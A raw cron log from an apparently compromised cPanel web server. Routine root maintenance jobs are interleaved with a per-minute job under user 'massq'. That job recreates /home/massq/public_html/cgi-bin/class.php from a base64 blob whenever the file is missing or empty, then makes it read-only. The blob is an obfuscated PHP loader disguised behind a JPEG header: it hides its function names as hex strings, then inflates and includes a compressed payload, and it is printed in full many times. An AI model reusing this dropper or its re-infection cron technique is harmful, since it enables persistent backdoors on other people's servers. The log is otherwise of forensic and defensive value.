Sep 10 17:45:01 server CROND[1409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:45:01 server CROND[1408]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 17:46:01 server CROND[2281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:46:01 server CROND[2282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:46:01 server CROND[2283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:47:01 server CROND[2704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:47:01 server CROND[2705]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:47:01 server CROND[2703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:48:01 server CROND[3161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:48:01 server CROND[3162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:48:01 server CROND[3163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:49:01 server CROND[3526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:49:01 server CROND[3527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:49:01 server CROND[3528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:50:01 server CROND[3908]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 17:50:01 server CROND[3917]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 17:50:01 server CROND[3925]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 17:50:01 server CROND[3940]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 17:50:01 server CROND[3942]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:50:01 server CROND[3939]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:50:01 server CROND[3938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:50:01 server CROND[3944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:50:01 server CROND[3941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:51:01 server CROND[4742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:51:01 server CROND[4743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:51:01 server CROND[4744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:52:01 server CROND[5118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:52:01 server CROND[5117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:52:01 server CROND[5119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:53:01 server CROND[5579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:53:01 server CROND[5580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:53:01 server CROND[5581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:54:01 server CROND[5948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:54:01 server CROND[5947]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:54:01 server CROND[5949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:55:01 server CROND[6336]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 17:55:01 server CROND[6338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:55:01 server CROND[6340]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:55:01 server CROND[6342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:55:01 server CROND[6341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:55:01 server CROND[6345]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 17:55:01 server CROND[6343]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:56:01 server CROND[7174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:56:01 server CROND[7175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:56:01 server CROND[7176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:57:01 server CROND[7586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:57:01 server CROND[7587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:57:01 server CROND[7588]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 17:57:01 server CROND[7589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:58:01 server CROND[8059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:58:01 server CROND[8060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
